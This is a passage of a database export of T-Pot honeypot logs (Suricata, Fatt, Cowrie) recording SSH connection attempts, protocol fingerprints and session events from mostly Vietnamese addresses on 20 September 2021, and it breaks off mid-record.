27051	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:13:43.596651+03	2021-09-20 14:15:14.070646+03	{"_id": "uQbpAnwBvYTbRNuEayVn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1734049775702868, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36898, "dest_port": 22, "timestamp": "2021-09-20T11:13:43.596651Z", "@timestamp": "2021-09-20T11:13:43.596Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27040	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:13:35.62729+03	2021-09-20 14:15:14.056674+03	{"_id": "TgbpAnwBvYTbRNuETSVS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45028, "dest_port": 22, "timestamp": "2021-09-20T11:13:35.627290", "@timestamp": "2021-09-20T11:13:35.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27041	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:13:41.688456+03	2021-09-20 14:15:14.058647+03	{"_id": "mAbpAnwBvYTbRNuEYyWW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 36295, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1868235291328840, "@version": "1", "in_iface": "enp5s0", "src_port": 58665, "dest_port": 53, "timestamp": "2021-09-20T11:13:41.688456Z", "@timestamp": "2021-09-20T11:13:41.688Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27042	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:42.141023+03	2021-09-20 14:15:14.059674+03	{"_id": "nAbpAnwBvYTbRNuEZCXF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40576, "timestamp": "2021-09-20T11:13:42.141023", "@timestamp": "2021-09-20T11:13:42.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27043	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:13:41.804585+03	2021-09-20 14:15:14.060678+03	{"_id": "ngbpAnwBvYTbRNuEZCXF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34930, "timestamp": "2021-09-20T11:13:41.804585", "@timestamp": "2021-09-20T11:13:41.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27044	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:41.854259+03	2021-09-20 14:15:14.061674+03	{"_id": "pAbpAnwBvYTbRNuEZSV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40576 (192.168.176.2:22) [session: 00138fee7633]", "session": "00138fee7633", "@version": "1", "protocol": "ssh", "src_port": 40576, "dest_port": 22, "timestamp": "2021-09-20T11:13:41.854259Z", "@timestamp": "2021-09-20T11:13:41.854Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27045	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:42.114346+03	2021-09-20 14:15:14.062646+03	{"_id": "owbpAnwBvYTbRNuEZSV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "00138fee7633", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:42.114346Z", "@timestamp": "2021-09-20T11:13:42.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27046	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:42.191359+03	2021-09-20 14:15:14.064647+03	{"_id": "qAbpAnwBvYTbRNuEZSV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "00138fee7633", "@version": "1", "timestamp": "2021-09-20T11:13:42.191359Z", "@timestamp": "2021-09-20T11:13:42.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27047	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:43.377498+03	2021-09-20 14:15:14.066647+03	{"_id": "qQbpAnwBvYTbRNuEaCWv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36898, "timestamp": "2021-09-20T11:13:43.377498", "@timestamp": "2021-09-20T11:13:43.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27048	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:43.376451+03	2021-09-20 14:15:14.067675+03	{"_id": "qgbpAnwBvYTbRNuEaSVl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "96b5e98af180", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:43.376451Z", "@timestamp": "2021-09-20T11:13:43.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27049	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:42.964772+03	2021-09-20 14:15:14.068675+03	{"_id": "twbpAnwBvYTbRNuEaSVn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "b102fd58f9b3", "@version": "1", "duration": 7.104727745056152, "timestamp": "2021-09-20T11:13:42.964772Z", "@timestamp": "2021-09-20T11:13:42.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27050	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:13:43.129177+03	2021-09-20 14:15:14.069647+03	{"_id": "swbpAnwBvYTbRNuEaSVm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "99579c1eed36", "@version": "1", "duration": 120.00249218940735, "timestamp": "2021-09-20T11:13:43.129177Z", "@timestamp": "2021-09-20T11:13:43.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27052	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:44.096655+03	2021-09-20 14:15:14.072647+03	{"_id": "vgbpAnwBvYTbRNuEbCWY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53756, "timestamp": "2021-09-20T11:13:44.096655", "@timestamp": "2021-09-20T11:13:44.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27053	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:45.771153+03	2021-09-20 14:15:14.073677+03	{"_id": "8QbpAnwBvYTbRNuEdCVq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 